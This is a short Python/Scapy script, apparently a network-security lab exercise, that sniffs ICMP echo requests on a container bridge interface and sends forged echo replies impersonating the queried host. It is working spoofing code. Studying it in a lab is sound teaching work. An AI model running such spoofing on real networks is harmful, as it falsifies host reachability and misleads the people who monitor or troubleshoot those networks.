#!/usr/bin/env python3
from scapy.all import *

def spoof_reply(pkt):
    # Only respond to ICMP Echo Requests
    if ICMP in pkt and pkt[ICMP].type == 8:
        print(f"Intercepted ICMP Echo Request from {pkt[IP].src} to {pkt[IP].dst}")
        
        # Build spoofed ICMP Echo Reply
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
        
        # Add payload if present
        payload = pkt[Raw].load if Raw in pkt else b""
        
        new_pkt = ip/icmp/payload
        print(f"Sending spoofed reply from {pkt[IP].dst} to {pkt[IP].src}...")
        send(new_pkt, verbose=0)

print("Sniff-and-Spoof active on br-c031fbf1a197...")
# Filter: icmp echo-request
sniff(iface='br-c031fbf1a197', filter='icmp and icmp[icmptype]=8', prn=spoof_reply)
